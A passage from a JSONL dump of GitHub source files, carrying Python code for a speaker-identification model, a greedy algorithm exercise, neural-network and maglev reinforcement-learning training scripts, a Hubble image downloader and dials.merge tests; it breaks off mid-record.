#L2-normalization\n\tx = Conv2D(filters=1024,kernel_size=(1,1), strides=(1,1), padding='valid', name='fc8')(x)\n\n\tm = Model(inp, x, name='VGGVox')\n\t# print(\"*\"*10, m.input_shape)\n\treturn m\n\n\ndef siamese_network(input_shape, model):\n\n\tinput_a = Input(shape=input_shape)\n\tinput_b = Input(shape=input_shape)\n\n\t# network definition\n\tbase_network = vggvox_mod_model(model)\n\t# because we re-use the same instance `base_network`,\n\t# the weights of the network\n\t# will be shared across the two branches\n\tprocessed_a = base_network(input_a)\n\tprocessed_b = base_network(input_b)\n\n\tdistance = Lambda(euclidean_distance,\n\t\t\t\t\toutput_shape=eucl_dist_output_shape)([processed_a, processed_b])\n\n\tmodel = Model([input_a, input_b], distance, name='Siamese')\n\n\treturn model\n\n\ndef vggvox_mod_model(model):\n\tfor layer in model.layers[:-1]:\n\t\tlayer.trainable = False\n\n\t# # Check the trainable status of the individual layers\n\t# for layer in model.layers:\n\t# \tprint(layer, layer.trainable)\n\t\n\t#hidden layers part\n\tmodel.layers.pop()  #pop last layer\n\tconv_layer = Conv2D(filters=256,kernel_size=(1,1), strides=(1,1), padding='valid', name='fc8')  #final fc layer reduced to 256\t\n\t\n\tinp = model.input\n\tout = conv_layer(model.layers[-1].output)\n\n\t#classification part\n\tfc9 = Dense(c.NUM_CLASSES, activation='softmax', name='fc9')\n\tout =  Flatten()(out)\n\tout = fc9 (out)\n\n\tmodel2 = Model(inp, out, name='VGG-M')\n\n\treturn model2\n\n\n#define step decay function\nclass LossHistory_(keras.callbacks.Callback):\n    def on_train_begin(self, logs={}):\n        self.losses = []\n        self.lr = []\n        \n    def on_epoch_end(self, batch, logs={}):\n        self.losses.append(logs.get('loss'))\n        self.lr.append(exp_decay(len(self.losses)))\n        print('lr:', exp_decay(len(self.losses)))\n\n\ndef exp_decay(epoch):\n    initial_lrate = 1e-2\n    k = 1e-8\n    lrate = initial_lrate * np.exp(-k*epoch)\n    return lrate\n\n\ndef plot_fig(i, history):\n    fig = plt.figure()\n    # plt.plot(range(1,c.EPOCHS+1),history.history['val_acc'],label='validation')\n    plt.plot(range(1,c.EPOCHS+1),history.history['acc'],label='training')\n    plt.legend(loc=0)\n    plt.xlabel('epochs')\n    plt.ylabel('accuracy')\n    plt.xlim([1,c.EPOCHS])\n#   plt.ylim([0,1])\n    plt.grid(True)\n    plt.title(\"Model Accuracy\")\n    plt.show()\n    fig.savefig('img/'+str(i)+'-accuracy.jpg')\n    plt.close(fig)\n\n\ndef contrastive_loss(y_true, y_pred):\n    '''Contrastive loss from Hadsell-et-al.'06\n    http://yann.lecun.com/exdb/publis/pdf/hadsell-chopra-lecun-06.pdf\n    '''\n    margin = 1\n    square_pred = K.square(y_pred)\n    margin_square = K.square(K.maximum(margin - y_pred, 0))\n    return K.mean(y_true * square_pred + (1 - y_true) * margin_square)\n\n\ndef compute_accuracy(y_true, y_pred):\n    '''Compute classification accuracy with a fixed threshold on distances.\n    '''\n    pred = y_pred.ravel() < 0.5\n    return np.mean(pred == y_true)\n\n\ndef accuracy(y_true, y_pred):\n    '''Compute classification accuracy with a fixed threshold on distances.\n    '''\n    return K.mean(K.equal(y_true, K.cast(y_pred < 0.5, y_true.dtype)))\n\n\ndef train_siamese(model, tr_pairs, tr_y):\n\t# define SGD optimizer\n\tsgd = optimizers.SGD(lr=0.00, decay=c.WEIGHT_DECAY, momentum=c.SGD_MOMENTUM, nesterov=True)\n\tmodel.compile(loss=contrastive_loss, optimizer=sgd, metrics=[accuracy])\n\t\n\t# compile the model\n\t# learning schedule callback\n\tloss_history_ = LossHistory_()\n\tlrate_ = LearningRateScheduler(exp_decay)\n\tcallbacks_list_ = [loss_history_, lrate_]\n\n\t# fit the model\n\tprint(\"tr_pairs 0 shape {}, tr_pairs 1 {}\".format(tr_pairs[:, 0].shape, tr_pairs[:, 1].shape))\n\thistory = model.fit([tr_pairs[:, 0], tr_pairs[:, 1]], tr_y,\n\t\tvalidation_split=0.1,\n\t\tepochs=c.EPOCHS, \n\t\tbatch_size=c.BATCH_SIZE, \n\t\tcallbacks=callbacks_list_)\t\n\n\t# Save the model\n\tweights_file = model.name + '_weights.h5'\n\tmodel.save(weights_file)\n\n\t# plot model accuracy\n\t# plot_fig(model.name, history)\n\t\n\treturn model\n\n\ndef top_1_categorical_accuracy(y_true, y_pred):\n    return metrics.top_k_categorical_accuracy(y_true, y_pred, k=1) \n\n\ndef top_5_categorical_accuracy(y_true, y_pred):\n    return metrics.top_k_categorical_accuracy(y_true, y_pred, k=5) \n\n\ndef compile_model(model):\n\t# define SGD optimizer\n\tsgd = optimizers.SGD(lr=0.00, decay=c.WEIGHT_DECAY, momentum=c.SGD_MOMENTUM, nesterov=True)\n\tmodel.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=[top_1_categorical_accuracy,top_5_categorical_accuracy])\n\t\t\t\n\treturn model\n\n\ndef train_for_classification(model, tr_X, tr_y):\n\t# learning schedule callback\n\tloss_history_ = LossHistory_()\n\tlrate_ = LearningRateScheduler(exp_decay)\n\tcallbacks_list_ = [loss_history_, lrate_]\n\n\t# fit the model\n\thistory = model.fit(tr_X, tr_y,\n\t\tvalidation_split=0.1,\n\t\tepochs=c.EPOCHS,\n\t\tbatch_size=c.BATCH_SIZE, \n\t\tcallbacks=callbacks_list_)\t\n\t\n\tprint(history.history)\n\n\t# Save the model\n\tweights_file = model.name + '_weights.h5'\n\tmodel.save(weights_file)\n\n\t# # plot model accuracy\n\t# plot_fig(model.name, history)\n\t\n\treturn model\n\n\ndef test():\n\tmodel = vggvox_model()\n\tnum_layers = len(model.layers)\n\n\tx = np.random.randn(1,512,30,1)\n\toutputs = []\n\n\tfor i in range(num_layers):\n\t\tget_ith_layer_output = K.function([model.layers[0].input, K.learning_phase()],\n\t\t                              [model.layers[i].output])\t\n\t\tlayer_output = get_ith_layer_output([x, 0])[0] \t# output in test mode = 0\n\t\toutputs.append(layer_output)\n\n\tfor i in range(11):\n\t\tprint(\"Shape of layer {} output:{}\".format(i, outputs[i].shape))\n\nif __name__ == '__main__':\n\ttest()\n\n","repo_name":"slewyh/iot-sec","sub_path":"code/vggvox-speaker-identification/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9000,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"2593943556","text":"# 증가 수열이 꼭 일정 비율로 증가하지 않아도 되구나...\nn = int(input())\na = list(map(int,input().split()))\n\nlt = 0\nrt = n-1\nlast = 0 #마지막으로 넣은 값\n\nres = \"\" #LR 문자열 누적\ntmp = []\n\nwhile lt<=rt:\n    if a[lt]>last:\n        tmp.append((a[lt],'L'))\n    if a[rt]>last:\n        tmp.append((a[rt],'R'))\n    tmp.sort() # 낮은 값을 먼저 넣어야 하므로\n    if len(tmp)==0:\n        break\n    else:\n        res=res+tmp[0][1]\n        last=tmp[0][0]\n        if tmp[0][1] == 'L':\n            lt+=1\n        else:\n            rt-=1\n    tmp.clear()\nprint(len(res))\nprint(res)","repo_name":"Jsim6342/python-algorithm","sub_path":"inflearn-문제풀이1/챕터4/증가 수열 만들기(그리디)/증가 수열 만들기(tr).py","file_name":"증가 수열 만들기(tr).py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2141345596","text":"from helper import helpers\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport os\nfrom back_propagation import back_propagation_derivative\n\nclass learning(back_propagation_derivative,helpers):\n    def __init__(self):\n        print('learning initiated')\n\n    def forward_propagation(self,x_zero,weight_hid,bias_hid,weight_out,bias_out):\n        s_hid=helpers.compute(self,weight_hid.T,x_zero.T,bias_hid.T)\n\n        x_hid=helpers.relu(self,s_hid)\n\n        s_out=helpers.compute(self,weight_out.T,x_hid,bias_out.T)\n        x_out=helpers.softmax(self,s_out)\n\n        return x_out,s_out,x_hid,s_hid\n\n    def accuracy_compute(self,target,prediction):\n        rows=target.shape[0]\n        sum=0\n        for i in range(rows):\n            labels=np.argmax(target[i])\n            pre_label=np.argmax(prediction[i])\n            if labels==pre_label:\n                sum=sum+1\n\n        return sum/rows\n\n    def back_propagation(self,target,weight_out,x_zero,weight_hid,bias_hid,bias_out):\n        predict,so,xh,sh=self.forward_propagation(x_zero,weight_hid,bias_hid,weight_out,bias_out)\n\n\n        grad_ow=back_propagation_derivative.grad_out_weight(self,target,predict,xh)\n        grad_ob=back_propagation_derivative.grad_out_bias(self,target,predict)\n        grad_hw=back_propagation_derivative.grad_hid_weight(self,weight_out,target,predict,x_zero,sh)\n        grad_hb = back_propagation_derivative.grad_hid_bias(self, target, predict, weight_out, sh)\n        #return 10000*10\n        #print(sh)\n        return grad_ow,grad_ob,grad_hw,grad_hb,predict,so,xh,sh\n    def run(self,validD,testD,new_valid,new_test,target,weight_out,x_zero,weight_hid,bias_hid,bias_out):\n        w_HIDLAYER=weight_hid\n        w_OUTLAYER=weight_out\n        b_HIDLAYER=bias_hid\n        b_OUTLAYER=bias_out\n        v_hid = np.ones([784, 1000]) / 10**5\n        v_out = np.ones([1000, 10]) / 10**5\n        index=[]\n        accurate=[]\n        loss_matrix=[]\n        loss_matrix_valid=[]\n        loss_matrix_test=[]\n        accuracy_valid_list=[]\n        accuracy_test_list = []\n        for i in range(200):\n\n            gradient_ow,gradient_ob,gradient_hw,gradient_hb,prediction,s_out,x_hid,s_hid=self.back_propagation(target,w_OUTLAYER,x_zero,w_HIDLAYER,b_HIDLAYER,b_OUTLAYER)\n            x_valid_out, s_valid_out, x_valid_hid, s_valid_hid=self.forward_propagation(validD,w_HIDLAYER,b_HIDLAYER,w_OUTLAYER,b_OUTLAYER)\n            x_test_out, s_test_out, x_test_hid, s_test_hid = self.forward_propagation(testD, w_HIDLAYER,b_HIDLAYER, w_OUTLAYER,b_OUTLAYER)\n            if i == 15:\n                print('help')\n            v_hid=0.9*v_hid+0.00002*gradient_hw\n            v_out=0.9*v_out+0.00002*gradient_ow\n\n            w_HIDLAYER=w_HIDLAYER-v_hid\n            w_OUTLAYER=w_OUTLAYER-v_out\n            b_HIDLAYER = b_HIDLAYER-0.00001*gradient_hb\n            b_OUTLAYER = b_OUTLAYER-0.00001*gradient_ob\n\n\n            #print(loss)\n\n            #if i%5==0 and i!=0:\n            print ('sample',i)\n            loss = helpers.averageCE(self, target, prediction.T)\n            loss_test= helpers.averageCE(self,new_test,x_test_out.T)\n            loss_valid = helpers.averageCE(self, new_valid, x_valid_out.T)\n                #loss=helpers.averageCE(self,target,prediction.T)\n            #print('train error:',loss)\n            loss_matrix.append(loss)\n            loss_matrix_valid.append(loss_valid)\n            print('valid error:', loss_valid)\n            loss_matrix_test.append(loss_test)\n            print('test error:', loss_test)\n            index.append(i)\n            accuracy=self.accuracy_compute(target,prediction.T)\n            accuracy_test = self.accuracy_compute(new_test, x_test_out.T)\n            accuracy_valid = self.accuracy_compute(new_valid, x_valid_out.T)\n            accurate.append(accuracy)\n            accuracy_valid_list.append(accuracy_valid)\n            accuracy_test_list.append(accuracy_test)\n            print('train accuracy:',accuracy)\n            print('valid accuracy:',accuracy_valid)\n            print('test accuracy:',accuracy_test)\n        print('plot figure')\n        print(loss_matrix,index)\n\n        plt.figure(1)\n\n        plt.xlabel(\"Epoch\")\n        plt.ylabel(\"Loss\")\n        plt.title('Neural Network Loss')\n        plt.plot(loss_matrix, color='RED',label=\"Train Data\")\n        plt.plot(loss_matrix_valid, color='Green',label=\"Valid Data\")\n        plt.plot(loss_matrix_test, color='Black',label=\"Test Data\")\n        plt.legend(loc=2, bbox_to_anchor=(1.05, 1.0), borderaxespad=0.)\n        plt.figure(2)\n        plt.xlabel(\"Epoch\")\n        plt.ylabel(\"Accuracy\")\n        plt.title('Neural Network Accurary')\n        plt.plot(accurate, color='RED',label=\"Train Data\")\n        plt.plot(accuracy_valid_list, color='Green',label=\"Valid Data\")\n        plt.plot(accuracy_test_list, color='Black',label=\"Test Data\")\n        plt.legend(loc=2, bbox_to_anchor=(1.05, 1.0), borderaxespad=0.)\n        plt.show()\n        return loss_matrix\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nweight_hid_initial=np.random.normal(0,2/1784,[784,1000])\nweight_out_initial=np.random.normal(0,2/1010,[1000,10])\nbias_hid=np.random.normal(0,2/1000,[1,1000])\nbias_out=np.random.normal(0,2/10,[1,10])\n\n\n\nhelps=helpers()\ntrainD,validD,testD,trainT,validT,testT=helps.loadData()\nnew_train,new_valid,new_test=helps.convertOneHot(trainT,validT,testT)\nlearn=learning()\nreshaped_trainD=helps.reshape_datamatrix(trainD)\nreshaped_validD=helps.reshape_datamatrix(validD)\nreshaped_testD=helps.reshape_datamatrix(testD)\n#forward_result=learn.forward_propagation(reshaped_trainD,weight_hid_initial,bias_hid,weight_out_initial,bias_out)\n'''grad_ow,grad_ob,grad_hw,grad_hb=learn.back_propagation(new_train,weight_out_initial,reshaped_trainD,weight_hid_initial,bias_hid,bias_out)\nprint(grad_ow.shape)\nprint(grad_ob.shape)\nprint(grad_hw.shape)\nprint(grad_hb.shape)'''\n\n\nloss=learn.run(reshaped_validD,reshaped_testD,new_valid,new_test,new_train,weight_out_initial,reshaped_trainD,weight_hid_initial,bias_hid,bias_out)","repo_name":"DavidRen1996/ECE1513_machine_learning","sub_path":"ml_a2/learning.py","file_name":"learning.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"36520363353","text":"firstname = 'Melo'\r\nlastname = 'Mario'\r\nage = 30\r\ncountry = 'Portugal'\r\nmarks = 98.05\r\ntotal_items = list()\r\ntotal_items.append('2 sisters')\r\nshopping = list()\r\nshopping.append('Shopping list:')\r\nshopping.append('-eggs')\r\nshopping.append('-milk')\r\nshopping.append('-bread')\r\ntuple_1 = tuple()\r\ntuple_1 = (3,4,5,6,7,8,8)\r\ninformation = dict()\r\ninformation = { 'python':'a snake','ruby':'a gemstone','perl':'something from the sea'}\r\ninformation.update({'julia':'beautiful name'})\r\nwow = {2,4,6,8,0}\r\n\r\n\r\nprint('my name is:',firstname, 'and im',age,' old and i stay in:',country,', I got', marks, '. I have ',\r\ntotal_items)\r\n\r\nprint('my name is: {} and im {} old and i stay in: {}, I got {}'.format(firstname, age, country, marks))\r\n\r\nprint('my name is: {1} and im {0} old and i stay in: {3}, I got {2}'.format(age,firstname, marks, country))\r\n\r\nprint(f'my name is: {firstname} and im {age} old and i stay in: {country}, I got {marks}'.format(firstname, age, country, marks))\r\n\r\nprint(f'my name is: {\"Lala\"} and im {34} old and i live in: {\"Siria\"}, I got {99.99}')\r\n\r\nfor i in shopping:\r\n    print(i)\r\n\r\nprint(shopping, type(shopping))\r\n\r\nprint(tuple_1, type(tuple_1))\r\n\r\nprint(information, type(information))\r\n\r\nprint(wow, type(wow))","repo_name":"LUprogram/python","sub_path":"Day2.py","file_name":"Day2.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15703949112","text":"# -*- coding: utf-8 -*-\nimport os\nimport gzip\nimport cv2\nimport time\nimport shutil\nimport argparse\nimport numpy as np\nfrom tqdm import tqdm\nfrom scipy import ndimage\nfrom matplotlib import pyplot as plt\nfrom astropy.visualization import LogStretch\nfrom pathing import RAW_DATA_PATH,QUERY_PATH,PROCESSED_DATA_PATH\nfrom astroquery.esa.hubble import ESAHubble\nfrom astropy.io import fits\n\n\ndef findRotateImage(image):\n    binary_mask=np.where(image>0.00000001,255,0).astype(np.uint8)\n\n    cnts = cv2.findContours(binary_mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]\n    cnt = sorted(cnts, key=cv2.contourArea)[-1]\n    rot_rect = cv2.minAreaRect(cnt)\n    \n    angle = rot_rect[2] # rect angle\n    return ndimage.rotate(image, angle)\n\n\ndef crop(image):\n    h,w = image.shape\n    y_nonzero, x_nonzero= np.nonzero(image)\n    ysen = int(np.maximum(np.min(y_nonzero),h-np.max(y_nonzero))+args.crop_margin*h)\n    xsen = int(np.maximum(np.min(x_nonzero),w-np.max(x_nonzero))+args.crop_margin*w)\n    return image[ysen:h-ysen,xsen:w-xsen]\n\n\ndef loadFitsGZ(filename):\n    output_file= f\"{filename}.fits\"\n    input_file=f\"{output_file}.gz\"\n    #TODO: ADD support for multiple zipFiles, atm skip them\n    with gzip.open(input_file, 'rb') as f_in:\n        with open(output_file, 'wb') as f_out:\n            shutil.copyfileobj(f_in, f_out)\n    os.remove(input_file)\n    return fits.open(output_file)\ndef keepOnlyDataFits(hdul):\n\n    # Loop over all the HDUs in the file\n    if len(hdul)>1:\n        for i, hdu in enumerate(hdul):\n            \n            # Check if this HDU contains the main image with optical data\n            if hdu.header.get('EXTNAME') == 'SCI':\n                new_hdul = fits.HDUList([hdul[0],hdu])\n    else:\n        new_hdul = hdul\n\n    return new_hdul\ndef saveFits(hdul,filename):\n    hdul.writeto(f\"{filename}.fits.gz\", overwrite=True)\n\ndef download(observation_id):\n    try:\n        filename=f\"{sRAW_DATA_PATH}/{observation_id}\"\n        output_file= f\"{filename}.fits\"\n        input_file=f\"{output_file}.gz\"\n        hubbler.download_product(observation_id=observation_id, calibration_level=args.calibration_level,\n                            filename=filename, product_type=args.intent)\n        hdul = loadFitsGZ(filename)\n        new_hdul = keepOnlyDataFits(hdul=hdul)\n        # new_hdul = cropFits(hdul=new_hdul)\n        if not args.prep:\n            saveFits(hdul=new_hdul,filename=f\"{filename}\")\n            hdul.close()\n            new_hdul.close()\n            if os.path.isfile(output_file): os.remove(output_file)\n            return None\n        else:\n            if os.path.isfile(output_file): os.remove(output_file)\n            if os.path.isfile(input_file): os.remove(input_file)\n            return new_hdul\n    except Exception as e:\n        print(\"An error occurred:\", e)\n        print(\"Problematic Observation ID:\", observation_id)\n        if os.path.isfile(output_file): os.remove(output_file)\n        if os.path.isfile(input_file): os.remove(input_file)\n        return None\n\ndef preprocess(hdul,observation_id):\n    i = 1 if len(hdul) > 1 else 0\n    image = hdul[i].data\n    rotated_image = findRotateImage(image)\n    cropped_image = crop(rotated_image)\n    output_file = f\"{sPROCESSED_OUTPUT_DATA_PATH}/{observation_id}\".strip(\".fits\")\n    np.savez_compressed(output_file,cropped_image)\n    plt.imshow(stretch(cropped_image),cmap=\"gray\")\n    plt.savefig(f\"{output_file}.png\")\ndef getImages(observations):\n    num = len(observations) if args.num==-1 else args.num\n    for i in tqdm(range(num)):\n        ST_1 = time.time()\n        hdul=download(observations[i])\n        print(\"Time taken download: \", time.time() - ST_1, \"seconds\")\n        if hdul:\n            ST_2 = time.time()\n            preprocess(hdul,observations[i])\n            print(\"Time taken preprocess: \", time.time() - ST_2, \"seconds\")\n\ndef getObservations():\n    with open(OBSERVATIONS_PATH) as f:\n        observations = f.read().splitlines()\n    return observations\n\ndef main():\n    observations=getObservations()\n    getImages(observations)\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser(description='Query the Hubble Legacy Archive')\n    parser.add_argument('--calibration_level', type=str, default='PRODUCT',\n                        help='Calibration level of the data')\n    parser.add_argument('--data_product_type', type=str, default='image',\n                        help='Type of data product')\n    parser.add_argument('--intent', type=str, default='SCIENCE',\n                        help='Observation intent')\n    parser.add_argument('--query_id', type=str, default='tmp',\n                        help='Dataset/query identifier')\n    parser.add_argument('--num', type=int, default=-1,\n                        help='Num Images to retrieve')\n    parser.add_argument('--prep', action='store_true',\n                        help='Do Preprocessing or Not')\n    parser.add_argument('--crop_margin', type=float, default=0.05,\n                        help='Percitle Crop of Width and Height of a single image, to remove all background')\n   \n    args = parser.parse_args()    \n    hubbler = ESAHubble()\n    sRAW_DATA_PATH = os.path.join(RAW_DATA_PATH,f\"{args.query_id}\")\n    OBSERVATIONS_PATH = os.path.join(QUERY_PATH,f\"{args.query_id}/observation_id.txt\")\n    if not os.path.isdir(sRAW_DATA_PATH): os.mkdir(sRAW_DATA_PATH)\n    sPROCESSED_OUTPUT_DATA_PATH = os.path.join(PROCESSED_DATA_PATH,f\"{args.query_id}\")\n    stretch = LogStretch()\n    if not os.path.isdir(sPROCESSED_OUTPUT_DATA_PATH): os.mkdir(sPROCESSED_OUTPUT_DATA_PATH)\n\n    main()\n","repo_name":"danielguthruf/astro-deconv","sub_path":"src/data/hubble_downloader.py","file_name":"hubble_downloader.py","file_ext":"py","file_size_in_byte":5559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16341672673","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nfrom MagLevSimulatedEnvironment_Simple import MagLevEnvironment as gym\nimport numpy as np\n#from AgentTD3 import Agent\nfrom AgentTD3 import Agent\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\ndef train():\n\t#env = gym.make('LunarLanderContinuous-v2')\n\t#env = gym.make('Pendulum-v0')\n\tenv = gym()\n\t\"\"\"\n\tagent = Agent(alpha=0.001, beta=0.001,\n\t\t\tinput_dims=(4,), tau=0.005, game=\"MagLevSim\",\n\t\t\tbatch_size=256, layerSizeList=[64,64,64,32],\n\t\t\tn_actions=1)\n\t\"\"\"\n\tagent = Agent(alpha=0.0001, beta=0.0001,\n\t\t\tinput_dims=(4,), tau=0.005, game=\"MagLevSim\",\n\t\t\tbatch_size=256, layerSizeList=[128,128,64,64,32],\n\t\t\tn_actions=1,noise=.2)\n\t\n\t#agent = Agent(uniqueID=11)\n\t\n\tn_games = 50\n\tallActions = []\n\t\n\tprint(\"Game loaded and set up\")\n\n\tfor i in range(n_games):\n\t\t#if i > 50\n\t\t#env.initCase = 6 # hyper random\n\t\tenv.initCase = 1 # lower rail\n\t\t#env.rewardFunction = 0 # middle\n\t\t#env.rewardFunction = 1 # random\n\t\tobservation = env.reset()\n\t\tscore = 0\n\t\tfor stepCounter in range(500): # let each sim run for 1 second, knowing we can probably stabalize in < 200ms\n\t\t\t#if stepCounter%300 == 0:\n\t\t\t#\tenv.pickNewTarget()\n\t\t\t#env.render()\n\t\t\taction = agent.choose_action(observation)\n\t\t\taction = (3*action)-1.5 # convert 0-1 to -1.5 to 1.5\n\t\t\tallActions.append(tf.squeeze(action))\n\t\t\tobservation_, reward, done, info = env.step(action) #(action,))\n\t\t\tagent.remember(observation, action, reward, observation_, done)\n\t\t\t#if agent.timeStepNumActionsChoosen % 600 == 0:\n\t\t\t#\tfor localCounter in range(600):\n\t\t\t#\t\tagent.learn()\n\t\t\tagent.learn()\n\t\t\tscore += reward\n\t\t\tobservation = observation_\n\t\tagent.logScore(score)\n\n\t\tprint('episode ', i, 'score %.1f' % score,\n\t\t\t\t'average score %.1f' % agent.getAveScore())\n\tagent.summary()\n\t#agent.save_all()\n\tagent.archive()\n\n\t#print(\"ALL ACTIONS: \")\n\t#print(allActions)\n\n\tplt.figure()\n\tplt.hist(allActions, bins=20)\n\tplt.show()\n\ndef visualizeGymModel(uniqueID, numGames=1):\n\tenv=gym()\n\t# gamma, lr, bs, etc make no difference since we're not learning. it might actually not even matter\n\t# if we use simple or complex, since we're just loading models and running inference\n\tagent=Agent(uniqueID=uniqueID)\n\n\tfor i in range(numGames):\n\t\tdone = False\n\t\tscore = 0\n\t\tcustomScore = 0\n\t\tenv.initCase = 6\n\t\tenv.rewardFunction = 1\n\t\told_state = env.reset()\n\n\t\tfor j in range(5000): # more than training to prove it extends indefinitly\n\t\t\tif j%800 == 0:\n\t\t\t\tenv.pickNewTarget()\n\t\t#while not done:\n\t\t\t#targetPosition = updateTargetPosition(targetPosition,steps)\n\t\t\t# env. update target position\n\t\t\taction= agent.choose_action(old_state)\n\t\t\taction = (3*action)-1.5\n\t\t\tnew_state, r, done, info = env.step(action)\n\t\t\tprint(\"State: \" + str(new_state) + \", reward: \" + str(r))\n\t\t\tscore += r\n\t\t\told_state=new_state\n\n\t\tprint('episode: ', i, '/', numGames, 'score %.2f' % score)\n\t\tenv.plotStates()\n\nif __name__ == '__main__':\n\tgpus = tf.config.experimental.list_physical_devices('GPU')\n\tfor gpu in gpus:\n\t\ttf.config.experimental.set_memory_growth(gpu, True)\n\t#tf.compat.v1.disable_eager_execution()\n\ttrain()\n\t#visualizeGymModel(29)\n\t#visualizeGymModel(33)\n\t#visualizeGymModel(34)\n\n\t#visualizeGymModel(43)\n\t#visualizeGymModel(44)\n\n\t#visualizeGymModel(46)\n\t#timing on maglev: default (1000 step sim), 40 seconds per episode. 1hr for 100 run sim","repo_name":"promnius/MagLevModelTrain","sub_path":"MachineLearningTesting/TrainContinousMagLevSim.py","file_name":"TrainContinousMagLevSim.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"15541629132","text":"\"\"\"Tests for dials.merge command line program.\"\"\"\n\n\nfrom __future__ import annotations\n\nimport json\nimport shutil\nimport subprocess\n\nimport pytest\n\nfrom cctbx import uctbx\nfrom dxtbx.serialize import load\nfrom iotbx import mtz\n\nfrom dials.array_family import flex\n\n\ndef validate_mtz(mtz_file, expected_labels, unexpected_labels=None):\n    assert mtz_file.is_file()\n    m = mtz.object(str(mtz_file))\n\n    assert m.as_miller_arrays()[1].info().wavelength == pytest.approx(0.6889)\n    labels = set()\n    for ma in m.as_miller_arrays(merge_equivalents=False):\n        labels.update(ma.info().labels)\n    for l in expected_labels:\n        assert l in labels\n    if unexpected_labels:\n        for l in unexpected_labels:\n            assert l not in labels\n\n\n@pytest.mark.parametrize(\"anomalous\", [True, False])\n@pytest.mark.parametrize(\n    \"truncate,french_wilson_impl\", [(True, \"dials\"), (True, \"cctbx\"), (False, None)]\n)\ndef test_merge(dials_data, tmp_path, anomalous, truncate, french_wilson_impl):\n    \"\"\"Test the command line script with LCY data\"\"\"\n    # Main options: truncate on/off, anomalous on/off\n    # french_wilson.implementation dials/cctbx\n\n    r_free_labels = [\"FreeR_flag\"]\n    mean_labels = [\"IMEAN\", \"SIGIMEAN\"]\n    anom_labels = [\"I(+)\", \"I(-)\", \"SIGI(+)\", \"SIGI(-)\"]\n    amp_labels = [\"F\", \"SIGF\"]\n    anom_amp_labels = [\"F(+)\", \"SIGF(+)\", \"F(-)\", \"SIGF(-)\", \"DANO\", \"SIGDANO\"]\n    half_labels = [\n        \"IHALF1\",\n        \"SIGIHALF1\",\n        \"IHALF2\",\n        \"SIGIHALF2\",\n        \"NHALF1\",\n        \"NHALF2\",\n    ]  # appear for additional_stats=True\n\n    location = dials_data(\"l_cysteine_4_sweeps_scaled\", pathlib=True)\n    refls = location / \"scaled_20_25.refl\"\n    expts = location / \"scaled_20_25.expt\"\n\n    mtz_file = tmp_path / f\"merge-{anomalous}-{truncate}.mtz\"\n\n    command = [\n        shutil.which(\"dials.merge\"),\n        refls,\n        expts,\n        f\"truncate={truncate}\",\n        f\"french_wilson.implementation={french_wilson_impl}\",\n        f\"anomalous={anomalous}\",\n        f\"output.mtz={str(mtz_file)}\",\n        \"project_name=ham\",\n        \"crystal_name=jam\",\n        \"dataset_name=spam\",\n        \"json=dials.merge.json\",\n        \"additional_stats=True\",\n    ]\n    result = subprocess.run(command, cwd=tmp_path, capture_output=True)\n    assert not result.returncode and not result.stderr\n    assert (tmp_path / \"dials.merge.html\").is_file()\n    merge_json = tmp_path / \"dials.merge.json\"\n    assert merge_json.is_file()\n    expected_labels = mean_labels + half_labels + r_free_labels\n    unexpected_labels = []\n\n    with merge_json.open() as fh:\n        json_d = json.load(fh)\n        wl = list(json_d.keys())[0]\n        for k in {\"merging_stats\", \"merging_stats_anom\"}:\n            assert k in json_d[wl]\n            assert {\"d_star_sq_min\", \"n_obs\", \"cc_anom\", \"r_split\"} <= json_d[wl][\n                k\n            ].keys()\n\n    if truncate:\n        expected_labels += amp_labels\n    else:\n        unexpected_labels += amp_labels\n\n    if anomalous:\n        expected_labels += anom_labels\n    else:\n        unexpected_labels += anom_labels\n\n    if anomalous and truncate:\n        expected_labels += anom_amp_labels\n    else:\n        unexpected_labels += anom_amp_labels\n\n    validate_mtz(mtz_file, expected_labels, unexpected_labels)\n\n\n@pytest.mark.parametrize(\"best_unit_cell\", [None, \"5.5,8.1,12.0,90,90,90\"])\ndef test_merge_dmin_dmax(dials_data, tmp_path, best_unit_cell):\n    \"\"\"Test the d_min, d_max\"\"\"\n\n    location = dials_data(\"l_cysteine_4_sweeps_scaled\", pathlib=True)\n    refls = location / \"scaled_20_25.refl\"\n    expts = location / \"scaled_20_25.expt\"\n\n    mtz_file = tmp_path / \"merge.mtz\"\n\n    command = [\n        shutil.which(\"dials.merge\"),\n        refls,\n        expts,\n        \"truncate=False\",\n        \"anomalous=False\",\n        \"d_min=1.0\",\n        \"d_max=8.0\",\n        f\"output.mtz={str(mtz_file)}\",\n        \"project_name=ham\",\n        \"crystal_name=jam\",\n        \"dataset_name=spam\",\n        f\"best_unit_cell={best_unit_cell}\",\n        \"output.html=None\",\n    ]\n    result = subprocess.run(command, cwd=tmp_path, capture_output=True)\n    assert not result.returncode and not result.stderr\n\n    # check the unit cell was correctly set if using best_unit_cell\n    m = mtz.object(str(mtz_file))\n    if best_unit_cell:\n        for ma in m.as_miller_arrays():\n            assert uctbx.unit_cell(best_unit_cell).parameters() == pytest.approx(\n                ma.unit_cell().parameters()\n            )\n\n    # check we only have reflections in range 8 - 1A\n    max_min_resolution = m.max_min_resolution()\n\n    assert max_min_resolution[0] <= 8\n    assert max_min_resolution[1] >= 1\n\n\ndef test_merge_multi_wavelength(dials_data, tmp_path):\n    \"\"\"Test that merge handles multi-wavelength data suitably - should 